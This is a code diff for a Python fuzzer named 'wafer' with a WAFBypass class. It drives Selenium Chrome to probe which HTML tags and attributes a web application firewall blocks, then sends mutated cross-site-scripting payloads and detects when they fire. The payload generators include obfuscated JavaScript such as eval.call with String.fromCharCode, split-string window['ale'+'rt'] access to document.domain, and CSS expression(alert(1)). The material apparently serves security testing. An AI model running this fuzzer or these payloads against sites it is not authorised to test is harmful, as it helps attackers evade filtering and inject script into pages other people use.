merge dl-dev in neg-dev #2
17
language.py
17
language.py
@ -1,6 +1,7 @@
|
||||
from language_utils import gen_boolean, gen_color, gen_date, gen_email, \
|
||||
gen_javascript, gen_number, gen_style, gen_text, gen_url, gen_name, \
|
||||
gen_target, gen_drop, gen_dir, gen_flag, gen_wtarget, gen_access_key
|
||||
gen_target, gen_drop, gen_dir, gen_flag, gen_wtarget, gen_access_key, \
|
||||
gen_duration
|
||||
from utils import rndstr, choice
|
||||
from mutations import Mutations
|
||||
|
||||
@ -15,6 +16,9 @@ class HTMLTag:
|
||||
self.nameattr = rndstr(10)
|
||||
self.rndchrpos = {}
|
||||
self.mutator: Mutations = None
|
||||
self.content = rndstr(10)
|
||||
self.ids = []
|
||||
self.names = []
|
||||
|
||||
def set_mutator(self, mutator):
|
||||
self.mutator = mutator
|
||||
@ -28,10 +32,11 @@ class HTMLTag:
|
||||
if self.mutator:
|
||||
# mutate attributes
|
||||
for attr in self.attributes:
|
||||
if attr.attr == AttrType.ATTR_TAG_SPECIFIC:
|
||||
attr.__str__()
|
||||
if attr.attr == AttrType.ATTR_TAG_SPECIFIC and attr.kind != HTMLTagAttributeType.TypeFlag:
|
||||
cases = [
|
||||
lambda x: self.my_mutate_attr(x),
|
||||
lambda x: self.mutator.mutate_attr(x.value),
|
||||
lambda x: self.mutator.mutate_attr(x),
|
||||
lambda x: self.mutator.mutate_value(x),
|
||||
]
|
||||
choice(cases)(attr)
|
||||
elif attr.attr == AttrType.ATTR_EVENT:
|
||||
@ -53,6 +58,8 @@ class HTMLTag:
|
||||
for attr in self.attributes:
|
||||
tag += f"{attr} "
|
||||
tag += ">"
|
||||
if len(self.children) == 0:
|
||||
tag += f"{self.content}"
|
||||
for child in self.children:
|
||||
tag += f"{child}"
|
||||
tag += f"</{self.name}>"
|
||||
@ -80,6 +87,7 @@ class HTMLTagAttributeType:
|
||||
TypeDir = 13
|
||||
TypeWindowTarget = 14
|
||||
TypeAccessKey = 15
|
||||
TypeDuration = 16
|
||||
|
||||
|
||||
Generators = {
|
||||
@ -99,6 +107,7 @@ Generators = {
|
||||
HTMLTagAttributeType.TypeDir: gen_dir,
|
||||
HTMLTagAttributeType.TypeWindowTarget: gen_wtarget,
|
||||
HTMLTagAttributeType.TypeAccessKey: gen_access_key,
|
||||
HTMLTagAttributeType.TypeDuration: gen_duration,
|
||||
}
|
||||
|
||||
|
||||
|
@ -1,20 +1,8 @@
|
||||
from utils import choice
|
||||
from utils import choice, rndstr
|
||||
|
||||
|
||||
def gen_text():
|
||||
cases = {
|
||||
0: lambda: 'alert(0)',
|
||||
1: lambda: 'prompt\x600\x60',
|
||||
2: lambda: '"confirm\x600\x60"',
|
||||
3: lambda: 'window["alert"](0)',
|
||||
4: lambda: 'window["prompt"](0)',
|
||||
5: lambda: 'window["confirm"](0)',
|
||||
6: lambda: '"alert\x600\x60"',
|
||||
7: lambda: '"prompt\x600\x60"',
|
||||
8: lambda: '"alert(1)"',
|
||||
}
|
||||
|
||||
return choice(cases)()
|
||||
return rndstr(8)
|
||||
|
||||
|
||||
def gen_boolean():
|
||||
@ -25,7 +13,7 @@ def gen_boolean():
|
||||
3: lambda: 'false',
|
||||
4: lambda: 'null',
|
||||
5: lambda: 'undefined',
|
||||
6: lambda: '""',
|
||||
6: lambda: '',
|
||||
7: lambda: '0',
|
||||
8: lambda: '1',
|
||||
}
|
||||
@ -37,13 +25,8 @@ def gen_number():
|
||||
cases = {
|
||||
0: lambda: '0',
|
||||
1: lambda: '1',
|
||||
2: lambda: '0.1',
|
||||
3: lambda: '1.1',
|
||||
4: lambda: '0x1',
|
||||
5: lambda: '0b1',
|
||||
6: lambda: '0o1',
|
||||
7: lambda: '1e1',
|
||||
8: lambda: '1e-1',
|
||||
2: lambda: '2',
|
||||
3: lambda: '3',
|
||||
}
|
||||
|
||||
return choice(cases)()
|
||||
@ -68,17 +51,19 @@ def gen_color():
|
||||
def gen_javascript():
|
||||
cases = {
|
||||
0: lambda: 'alert(0)',
|
||||
1: lambda: 'prompt\x600\x60',
|
||||
2: lambda: '"confirm\x600\x60"',
|
||||
3: lambda: 'window["alert"](0)',
|
||||
4: lambda: 'window["prompt"](0)',
|
||||
5: lambda: 'window["confirm"](0)',
|
||||
6: lambda: '"alert\x600\x60"',
|
||||
7: lambda: '"prompt\x600\x60"',
|
||||
8: lambda: '"alert(1)"',
|
||||
9: lambda: 'console.log(alert(1))//',
|
||||
10: lambda: 'console.log(alert(1))/*',
|
||||
1: lambda: 'prompt`0`',
|
||||
2: lambda: 'confirm`0`',
|
||||
3: lambda: "window['alert'](0)",
|
||||
4: lambda: "window['prompt'](0)",
|
||||
5: lambda: "window['confirm'](0)",
|
||||
6: lambda: 'eval.call`${String.fromCharCode(97,108,101,114,116,40,49,41)}`',
|
||||
7: lambda: 'Function(`a${`lert\`1\``}`).call``',
|
||||
8: lambda: "window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//",
|
||||
9: lambda: "eval.call`${'alert\x2823\x29'}`",
|
||||
10: lambda: '[].sort.call`${alert}23`',
|
||||
11: lambda: '{1:alert(1)}',
|
||||
12: lambda: '(()=>{alert`1`})()',
|
||||
13: lambda: 'x=alert;x(1);',
|
||||
}
|
||||
|
||||
return choice(cases)()
|
||||
@ -90,6 +75,8 @@ def gen_style():
|
||||
0: lambda: 'background-image:url("javascript:alert(1)")',
|
||||
1: lambda: 'expression(alert(1))',
|
||||
2: lambda: 'expression\x600\x60',
|
||||
3: lambda: 'animation-name:x;animation-duration:0s;',
|
||||
4: lambda: '@keyframes x{}'
|
||||
}
|
||||
|
||||
return choice(cases)()
|
||||
@ -119,27 +106,19 @@ def gen_email():
|
||||
|
||||
|
||||
def gen_date():
|
||||
return ''
|
||||
return '2020-01-01'
|
||||
|
||||
|
||||
def gen_target(root):
|
||||
if root is None:
|
||||
return None
|
||||
ids = []
|
||||
ids.append(root.id)
|
||||
for child in root.children:
|
||||
ids.append(child.id)
|
||||
return choice(ids)
|
||||
def gen_target(tag):
|
||||
if tag is None:
|
||||
return ""
|
||||
return choice(tag.ids)
|
||||
|
||||
|
||||
def gen_name(root):
|
||||
if root is None:
|
||||
return None
|
||||
names = []
|
||||
names.append(root.nameattr)
|
||||
for child in root.children:
|
||||
names.append(child.nameattr)
|
||||
return choice(names)
|
||||
def gen_name(tag):
|
||||
if tag is None:
|
||||
return ""
|
||||
return choice(tag.names)
|
||||
|
||||
|
||||
def gen_flag():
|
||||
@ -160,3 +139,7 @@ def gen_wtarget():
|
||||
|
||||
def gen_access_key():
|
||||
return 'X'
|
||||
|
||||
|
||||
def gen_duration():
|
||||
return choice(["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]) + choice(["s", "ms"])
|
||||
|
19
mutations.py
19
mutations.py
@ -15,27 +15,27 @@ class Mutations:
|
||||
|
||||
return choice_percent(cases)(attr)
|
||||
|
||||
def mutate_value(self, value: str):
|
||||
def mutate_value(self, attr):
|
||||
cases = {
|
||||
70: lambda x: x,
|
||||
20: self.mutate_value_newline,
|
||||
10: self.mutate_value_unicode,
|
||||
}
|
||||
|
||||
return choice_percent(cases)(value)
|
||||
return choice_percent(cases)(attr)
|
||||
|
||||
def mutate_tag(self, tag):
|
||||
cases = {
|
||||
70: lambda x: x,
|
||||
30: self.mutate_tag_insert_random_pos,
|
||||
95: lambda x: x,
|
||||
5: self.mutate_tag_insert_random_pos,
|
||||
}
|
||||
|
||||
return choice_percent(cases)(tag)
|
||||
|
||||
def mutate_js(self, js: str):
|
||||
cases = {
|
||||
70: lambda x: x,
|
||||
30: self.mutate_js_insert_random_pos,
|
||||
95: lambda x: x,
|
||||
5: self.mutate_js_insert_random_pos,
|
||||
}
|
||||
|
||||
return choice_percent(cases)(js)
|
||||
@ -60,6 +60,10 @@ class Mutations:
|
||||
def mutate_value_newline(attr):
|
||||
# find a random position in the value
|
||||
# and insert a newline
|
||||
if (attr.value is None):
|
||||
print("attr.value is None")
|
||||
print(attr)
|
||||
exit(0)
|
||||
pos = choice(range(len(attr.value)))
|
||||
attr.value = f"{attr.value[:pos]}\n{attr.value[pos:]}"
|
||||
return attr
|
||||
@ -84,7 +88,8 @@ class Mutations:
|
||||
nmutations = choice(range(1, 4))
|
||||
|
||||
for _ in range(nmutations):
|
||||
tag.rndchrpos[pos] = choice_percent(chars)()
|
||||
mut = choice_percent(chars)
|
||||
tag.rndchrpos[pos] = mut()
|
||||
|
||||
return tag
|
||||
|
||||
|
27
tags.py
27
tags.py
@ -3,6 +3,7 @@ from language import HTMLAttribute, HTMLTag, HTMLTagAttributeType
|
||||
|
||||
Tags = [
|
||||
HTMLTag('a', self_closing=False),
|
||||
HTMLTag('animate', self_closing=True),
|
||||
HTMLTag('abbr', self_closing=False),
|
||||
HTMLTag('acronym', self_closing=False),
|
||||
HTMLTag('address', self_closing=False),
|
||||
@ -268,6 +269,15 @@ TagSpecificAttributes = {
|
||||
HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget),
|
||||
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'animate': [
|
||||
HTMLAttribute('attributeName', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('attributeType', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('begin', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('by', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('calcMode', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('dur', HTMLTagAttributeType.TypeDuration),
|
||||
HTMLAttribute('end', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'abbr': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
@ -286,7 +296,6 @@ TagSpecificAttributes = {
|
||||
HTMLAttribute('data', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('object', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||
@ -361,7 +370,6 @@ TagSpecificAttributes = {
|
||||
HTMLAttribute('formmethod', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('formnovalidate', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('formtarget', HTMLTagAttributeType.TypeWindowTarget),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('value', HTMLTagAttributeType.TypeText),
|
||||
@ -442,7 +450,6 @@ TagSpecificAttributes = {
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber),
|
||||
@ -451,7 +458,6 @@ TagSpecificAttributes = {
|
||||
'fieldset': [
|
||||
HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
],
|
||||
'figcaption': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
@ -473,7 +479,6 @@ TagSpecificAttributes = {
|
||||
HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('enctype', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('method', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('novalidate', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget),
|
||||
],
|
||||
@ -481,7 +486,6 @@ TagSpecificAttributes = {
|
||||
HTMLAttribute('frameborder', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('marginheight', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('marginwidth', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('noresize', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('scrolling', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||
@ -537,7 +541,6 @@ TagSpecificAttributes = {
|
||||
HTMLAttribute('csp', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('importance', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('sandbox', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||
@ -556,7 +559,6 @@ TagSpecificAttributes = {
|
||||
HTMLAttribute('ismap', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('loading', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('longdesc', HTMLTagAttributeType.TypeURL),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('sizes', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
|
||||
@ -590,7 +592,6 @@ TagSpecificAttributes = {
|
||||
HTMLAttribute('min', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('pattern', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag),
|
||||
@ -601,6 +602,7 @@ TagSpecificAttributes = {
|
||||
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('value', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('popovertarget', HTMLTagAttributeType.TypeTarget),
|
||||
],
|
||||
|
||||
'ins': [
|
||||
@ -639,7 +641,6 @@ TagSpecificAttributes = {
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'map': [
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
],
|
||||
'mark': [
|
||||
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
|
||||
@ -665,7 +666,6 @@ TagSpecificAttributes = {
|
||||
HTMLAttribute('charset', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('content', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('http-equiv', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'meter': [
|
||||
HTMLAttribute('high', HTMLTagAttributeType.TypeNumber),
|
||||
@ -697,7 +697,6 @@ TagSpecificAttributes = {
|
||||
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('standby', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('usemap', HTMLTagAttributeType.TypeURL),
|
||||
@ -725,13 +724,11 @@ TagSpecificAttributes = {
|
||||
'output': [
|
||||
HTMLAttribute('for', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
],
|
||||
'p': [
|
||||
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
|
||||
],
|
||||
'param': [
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('value', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('valuetype', HTMLTagAttributeType.TypeText),
|
||||
@ -775,7 +772,6 @@ TagSpecificAttributes = {
|
||||
HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('required', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('size', HTMLTagAttributeType.TypeNumber),
|
||||
],
|
||||
@ -857,7 +853,6 @@ TagSpecificAttributes = {
|
||||
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('maxlength', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber),
|
||||
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
|
||||
HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText),
|
||||
HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag),
|
||||
HTMLAttribute('required', HTMLTagAttributeType.TypeFlag),
|
||||
|
20
utils.py
20
utils.py
@ -7,10 +7,12 @@ def rndstr(length):
|
||||
|
||||
|
||||
def choice(arr):
|
||||
# randomize seed
|
||||
return random.choice(arr)
|
||||
|
||||
|
||||
def rndunicode():
|
||||
# randomize seed
|
||||
return chr(random.randint(0, 0x10FFFF))
|
||||
|
||||
|
||||
@ -25,21 +27,17 @@ def choice_percent(elements):
|
||||
# }
|
||||
# that means we have 10% chance to get 'a', 20% chance to get 'b', etc.
|
||||
|
||||
# get total percent
|
||||
total_percent = 0
|
||||
for percent in elements:
|
||||
total_percent += percent
|
||||
total_percent = sum(elements.keys())
|
||||
|
||||
# get random number
|
||||
random.seed(int(time.time() * 1000))
|
||||
rnd = random.randint(0, total_percent)
|
||||
rnd = random.randint(1, total_percent)
|
||||
|
||||
# get action
|
||||
for percent in elements:
|
||||
if rnd < percent:
|
||||
return elements[percent]
|
||||
else:
|
||||
rnd -= percent
|
||||
cumulative_percent = 0
|
||||
for percent, action in elements.items():
|
||||
cumulative_percent += percent
|
||||
if rnd <= cumulative_percent:
|
||||
return action
|
||||
|
||||
# should not reach here
|
||||
return None
|
||||
|
348
wafer.py
Normal file
348
wafer.py
Normal file
@ -0,0 +1,348 @@
|
||||
from selenium import webdriver
|
||||
from selenium.webdriver.support.ui import WebDriverWait
|
||||
from selenium.webdriver.chrome import service
|
||||
from urllib.parse import urlparse
|
||||
from urllib.parse import urlencode
|
||||
from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType
|
||||
from tags import GlobalAttributes, EventsAttributes, TagSpecificAttributes, Tags
|
||||
from mutations import Mutations
|
||||
from utils import choice, choice_percent
|
||||
from threading import Thread, Lock
|
||||
import random
|
||||
import time
|
||||
|
||||
# WAFBypass class
|
||||
|
||||
|
||||
class TagList():
|
||||
def __init__(self, e):
|
||||
self.l = list(e)
|
||||
|
||||
def __str__(self) -> str:
|
||||
s = ""
|
||||
for tag in self.l:
|
||||
s += f"{tag}"
|
||||
return s
|
||||
|
||||
|
||||
class FuzzQueue():
|
||||
def __init__(self) -> None:
|
||||
self.queue = []
|
||||
self.lock = Lock()
|
||||
|
||||
def push(self, tag):
|
||||
self.lock.acquire()
|
||||
self.queue.append(tag)
|
||||
self.lock.release()
|
||||
|
||||
def pop(self):
|
||||
if len(self.queue) == 0:
|
||||
return None
|
||||
self.lock.acquire()
|
||||
element = self.queue.pop()
|
||||
self.lock.release()
|
||||
return element
|
||||
|
||||
def __len__(self):
|
||||
return len(self.queue)
|
||||
|
||||
|
||||
class WAFBypass():
|
||||
code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;};window.confirm = window.alert;window.prompt = window.alert;"
|
||||
trigger = """
|
||||
var ids = {0};
|
||||
for (var i = 0; i < ids.length; i++) {{
|
||||
var element = document.getElementById(ids[i]);
|
||||
if(!element) continue;
|
||||
// trigger all possible events click, mouseover, etc.
|
||||
var events = ['click', 'mouseover', 'mousedown', 'mouseup', 'mousemove', 'mouseout', 'mouseenter', 'mouseleave', 'dblclick', 'contextmenu', 'wheel', 'select', 'pointerdown', 'pointerup', 'pointermove', 'pointerover', 'pointerout', 'pointerenter', 'pointerleave', 'gotpointercapture', 'lostpointercapture'];
|
||||
try {{
|
||||
for (var j = 0; j < events.length; j++) {{
|
||||
var event = new MouseEvent(events[j], {{bubbles: true}});
|
||||
element.dispatchEvent(event);
|
||||
}}
|
||||
element.focus();
|
||||
element.blur();
|
||||
// trigger accesskey ctrl+alt+X
|
||||
element.dispatchEvent(new KeyboardEvent('keydown', {{ctrlKey: true, altKey: true, key: 'x'}}));
|
||||
}} catch (e) {{}}
|
||||
}}
|
||||
"""
|
||||
|
||||
def __init__(self, url, param) -> None:
|
||||
self.param = param
|
||||
self.options = webdriver.ChromeOptions()
|
||||
self.options.add_argument('--no-sandbox')
|
||||
# self.options.add_argument('--headless')
|
||||
self.options.add_argument('--disable-gpu')
|
||||
self.options.add_experimental_option(
|
||||
"excludeSwitches", ["enable-logging"])
|
||||
self.unfiltered_attributes = {}
|
||||
self.unfiltered_tags = []
|
||||
self.driver = webdriver.Chrome(
|
||||
options=self.options,
|
||||
service=service.Service(service_args=["--log-path=NUL"]))
|
||||
self.url = urlparse(url)
|
||||
self.mutator = Mutations()
|
||||
self.queue = FuzzQueue()
|
||||
self.threads = []
|
||||
self.lock = Lock()
|
||||
self.payloads = 0
|
||||
|
||||
random.seed(time.time_ns())
|
||||
|
||||
if not self.check_connection():
|
||||
raise Exception("Connection Error")
|
||||
|
||||
self.driver.execute_cdp_cmd(
|
||||
"Page.addScriptToEvaluateOnNewDocument", {"source": self.code})
|
||||
|
||||
def inc_payloads(self):
|
||||
self.lock.acquire()
|
||||
self.payloads += 1
|
||||
self.lock.release()
|
||||
|
||||
def check_connection(self):
|
||||
try:
|
||||
self.driver.get(self.url.geturl())
|
||||
return True
|
||||
except:
|
||||
return False
|
||||
|
||||
def wait_for_pageload(self, driver):
|
||||
try:
|
||||
WebDriverWait(driver, 4).until(
|
||||
lambda driver: driver.execute_script("return document.readyState") == "complete")
|
||||
except TimeoutError:
|
||||
raise Exception("Page Load Error")
|
||||
|
||||
def get_page_title(self):
|
||||
return self.driver.title
|
||||
|
||||
@property
|
||||
def is_403(self):
|
||||
return self.driver.title == "403 Forbidden"
|
||||
|
||||
@property
|
||||
def triggered_xss(self):
|
||||
return self.driver.execute_script("return window.alert_trigger")
|
||||
|
||||
def navigate(self, driver, url):
|
||||
driver.get(url)
|
||||
self.wait_for_pageload(driver)
|
||||
|
||||
is403 = False
|
||||
|
||||
if self.is_403:
|
||||
is403 = True
|
||||
else:
|
||||
is403 = False
|
||||
|
||||
triggerxss = self.triggered_xss
|
||||
|
||||
return (is403, triggerxss)
|
||||
|
||||
def identify_unfiltered_attributes(self):
|
||||
try:
|
||||
self.unfiltered_attributes["global"] = []
|
||||
self.unfiltered_attributes["events"] = []
|
||||
self.unfiltered_attributes["tag_specific"] = {}
|
||||
|
||||
for attr in GlobalAttributes:
|
||||
encoded = urlencode({self.param: f"{attr}"})
|
||||
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||
is403, _ = self.navigate(self.driver, url)
|
||||
if not is403:
|
||||
self.unfiltered_attributes["global"].append(attr)
|
||||
|
||||
for attr in EventsAttributes:
|
||||
encoded = urlencode({self.param: f"{attr}"})
|
||||
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||
is403, _ = self.navigate(self.driver, url)
|
||||
if not is403:
|
||||
self.unfiltered_attributes["events"].append(attr)
|
||||
|
||||
for tag in self.unfiltered_tags:
|
||||
if tag not in self.unfiltered_attributes["tag_specific"]:
|
||||
self.unfiltered_attributes["tag_specific"][tag.name] = []
|
||||
try:
|
||||
for attr in TagSpecificAttributes[tag.name]:
|
||||
encoded = urlencode(
|
||||
{self.param: f"<{tag.name} {attr}/>"})
|
||||
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||
is403, _ = self.navigate(self.driver, url)
|
||||
if not is403:
|
||||
self.unfiltered_attributes["tag_specific"][tag.name].append(
|
||||
attr)
|
||||
except KeyError:
|
||||
print(f"Tag {tag.name} not found in TagSpecificAttributes")
|
||||
except KeyboardInterrupt:
|
||||
return
|
||||
|
||||
def identify_unfiltered_tags(self):
|
||||
try:
|
||||
for tag in Tags:
|
||||
encoded = urlencode({self.param: f"{tag}"})
|
||||
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||
is403, _ = self.navigate(self.driver, url)
|
||||
if not is403:
|
||||
self.unfiltered_tags.append(tag)
|
||||
except KeyboardInterrupt:
|
||||
return
|
||||
|
||||
def dry_run(self):
|
||||
try:
|
||||
self.identify_unfiltered_tags()
|
||||
self.identify_unfiltered_attributes()
|
||||
except Exception as e:
|
||||
raise Exception(f"Dry Run Error: {e}")
|
||||
except KeyboardInterrupt:
|
||||
return
|
||||
|
||||
def get_tag(self):
|
||||
try:
|
||||
tag = choice(self.unfiltered_tags)
|
||||
# make a copy of tag to avoid mutating the original
|
||||
tag = HTMLTag(tag.name, tag.self_closing)
|
||||
tag.set_mutator(self.mutator)
|
||||
|
||||
nglobattr = choice(range(1, 3))
|
||||
nattr = choice(range(1, 3))
|
||||
|
||||
globals = list(self.unfiltered_attributes["global"])
|
||||
|
||||
for _ in range(0, nglobattr):
|
||||
if len(globals) == 0:
|
||||
break
|
||||
attr = choice(globals)
|
||||
globals.remove(attr)
|
||||
# make a copy of attr to avoid mutating the original
|
||||
attr = HTMLAttribute(attr.name, attr.kind,
|
||||
glob=True, root=None)
|
||||
tag.add_attribute(attr)
|
||||
|
||||
attr = choice(self.unfiltered_attributes["events"])
|
||||
# make a copy of attr to avoid mutating the original
|
||||
attr = HTMLAttribute(attr.name, attr.kind,
|
||||
glob=False, root=None)
|
||||
tag.add_attribute(attr)
|
||||
|
||||
tag_specific = list(
|
||||
self.unfiltered_attributes["tag_specific"][tag.name])
|
||||
|
||||
for _ in range(0, nattr):
|
||||
if len(tag_specific) == 0:
|
||||
break
|
||||
attr = choice(tag_specific)
|
||||
tag_specific.remove(attr)
|
||||
# make a copy of attr to avoid mutating the original
|
||||
attr = HTMLAttribute(attr.name, attr.kind,
|
||||
glob=False, root=None)
|
||||
tag.add_attribute(attr)
|
||||
|
||||
addchildren = {
|
||||
70: lambda: False,
|
||||
30: lambda: True
|
||||
}
|
||||
|
||||
should_add = choice_percent(addchildren)
|
||||
|
||||
if (should_add()):
|
||||
tag.children.append(self.get_tag())
|
||||
|
||||
return tag
|
||||
except KeyboardInterrupt:
|
||||
return None
|
||||
|
||||
def fuzz_thread(self, driver: webdriver.Chrome, started):
|
||||
driver.execute_cdp_cmd(
|
||||
"Page.addScriptToEvaluateOnNewDocument", {"source": self.code})
|
||||
|
||||
while not started:
|
||||
time.sleep(0.1)
|
||||
pass
|
||||
|
||||
while True:
|
||||
element = self.queue.pop()
|
||||
if not element:
|
||||
break
|
||||
encoded = urlencode({self.param: f"{element}"})
|
||||
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||
is403, triggered = self.navigate(driver, url)
|
||||
|
||||
# close window
|
||||
driver.close()
|
||||
|
||||
def get_tag_id(self, tag):
|
||||
tag_ids = []
|
||||
tag_ids.append(tag.id)
|
||||
if len(tag.children) >= 0:
|
||||
for child in tag.children:
|
||||
tag_ids.extend(self.get_tag_id(child))
|
||||
|
||||
return tag_ids
|
||||
|
||||
def get_tag_name(self, tag):
|
||||
tag_names = []
|
||||
tag_names.append(tag.nameattr)
|
||||
if len(tag.children) >= 0:
|
||||
for child in tag.children:
|
||||
tag_names.extend(self.get_tag_name(child))
|
||||
|
||||
return tag_names
|
||||
|
||||
def get_ids(self, tags):
|
||||
tag_ids = []
|
||||
for tag in tags:
|
||||
tag_ids.extend(self.get_tag_id(tag))
|
||||
return tag_ids
|
||||
|
||||
def get_names(self, tags):
|
||||
tag_names = []
|
||||
for tag in tags:
|
||||
tag_names.extend(self.get_tag_name(tag))
|
||||
return tag_names
|
||||
|
||||
def populate_ids_names(self, tags):
|
||||
ids = self.get_ids(tags)
|
||||
names = self.get_names(tags)
|
||||
|
||||
def populate(tag, ids=ids, names=names):
|
||||
tag.ids = ids
|
||||
tag.names = names
|
||||
for child in tag.children:
|
||||
populate(child)
|
||||
|
||||
for tag in tags:
|
||||
populate(tag)
|
||||
|
||||
def test(self):
|
||||
try:
|
||||
self.dry_run()
|
||||
|
||||
print("Starting fuzzer")
|
||||
|
||||
while True:
|
||||
tags = [self.get_tag() for _ in range(0, choice(range(1, 3)))]
|
